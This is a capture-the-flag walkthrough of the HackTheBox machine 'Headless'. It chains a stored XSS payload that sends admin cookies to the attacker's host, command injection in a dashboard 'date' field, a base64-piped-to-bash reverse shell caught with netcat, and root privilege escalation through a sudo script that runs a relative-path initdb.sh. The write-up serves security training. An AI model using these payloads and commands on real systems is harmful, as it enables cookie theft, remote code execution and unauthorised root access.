Headless - HackTheBox

CTF Writeup for Headless from HackTheBox

Headless - HackTheBox

Based on XSS and a short file path.

As usual, nmap: 22/tcp[SSH] and 5000/tcp[HTTP]. Linux.

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
5000/tcp open  upnp?   syn-ack ttl 63

Navigating to the 5000/tcp...

/

Looking into the JS, no callback events occur when timer reaches 0, just changes the text to say "Now Live!".

Enumerating around, there are no signs of any domains/subdomains, just the button on the index leading to '/support', lettuce check with ffuf..

support           [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 65ms]
dashboard         [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 68ms]

Interesting '/dashboard' page, lettuce go see this..

/dashboard

Upon checking the token within the 'is_admin' cookie, found the first segment was just "user", and second the signing. I tried changing it around a bit but led nowhere.

Lettuce now check the '/support' page found earlier.

/support

Ok. With the token, dashboard and now this support page, I'm getting signals this is a XSS related box.

Seems a little too easy, I'll drop a simple XSS payload in the 'Message' box..

<img src=x onerror=this.src='http://<u-ip>:<u-pt>/?c='+btoa(document.cookie)>

The 'btoa()' makes it base64, little cleaner.

Could these displayed headers cause XSS?

Well atleast now we know what headers and chars will be displayed..

I tested around with the fields, eventually placing the payload into the 'message' form and into a custom 'Test-Header' header. Eventually..

Base64 encoded Admin cookies.

Now we can modify our browser's 'is_admin' token to the stolen Admin's token, then browse to the '/dashboard'...

/dashboard

Firstly, lettuce see what this form is submitting and try common payloads..

attacker@c2:~:$ curl -X POST http://10.10.11.8:5000/dashboard --cookie "is_admin=**********.********************-******" -d "date=2023-09-15; id"

> ... snip ...
> Systems are up and running!
> uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
> ... snip ...

Oh. I guess we can move on to a shell.

attacker@c2:~:$ curl -X POST http://10.10.11.8:5000/dashboard --cookie "is_admin=**********.********************-******" -d "date=2023-09-15; echo WW91UmVhbGx5VGhvdWdodElkU2hvd1NoaXRIZXJlICAK|base64 -d|bash"

Base64 encoded payload -> Base64 decode -> Executed by Bash

attacker@c2:~:$ nc -lvnp <u-pt2>
listening on [any] <u-pt2> ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.11.8] 5****
sh: 0: can't access tty; job control turned off
>$ id
>> uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)

Shell received.

We have a shell.

Can collect the 'user.txt' flag now..

dvir@headless:~:$ cat ./user.txt
> ********************************

Time for privesc, lettuce first see if the mailman came..

dvir@headless:~:$ ls /var/mail
> dvir
dvir@headless:~:$ cat /var/mail/dvir
> Subject: Important Update: New System Check Script
>
> Hello!
>
> We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.
>
> What's special for you?
> - You've been granted special privileges to use this script.
> - It will help identify and resolve system issues more efficiently.
> - It ensures that necessary updates are applied when needed.
>
> Rest assured, this script is at your disposal and won't affect your regular use of the system.
>
> If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.
>
> By the way, we're still waiting on you to create the database initialization script!
> Best regards,
> Headless

To summarize..

  • The user 'dvir' has special privileges (probably through Sudo).
  • The user 'dvir' needs to write a database initialization script (?).

Okay, so this is probably the privesc.

dvir@headless:~:$ sudo -S -l
> Matching Defaults entries for dvir on headless:
>     env_reset, mail_badpass,
>     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
>     use_pty
>
> User dvir may run the following commands on headless:
>     (ALL) NOPASSWD: /usr/bin/syscheck

Sudo privileges

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

... snip ...

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

/usr/bin/syscheck

There's the killshot './initdb.sh'. Moving into '/dev/shm' to make our script.

This little script doesn't need to be fancy, just enough to spawn a shell.

#!/bin/bash
bash -c '/bin/bash'

wow

Now to test our root privesc..

dvir@headless:/dev/shm:$ ls
> initdb.sh
dvir@headless:/dev/shm:$ sudo /usr/bin/syscheck
> Last Kernel Modification Time: 01/02/2024 10:05
> Available disk space: 1.9G
> System load average:  0.60, 0.33, 0.20
> Database service is not running. Starting it...
>$ id
>> uid=0(root) gid=0(root) groups=0(root)

Time to grab the 'root.txt'..

root@headless:~:# ls
> root.txt
root@headless:~:# cat root.txt
> ********************************

That's all :) .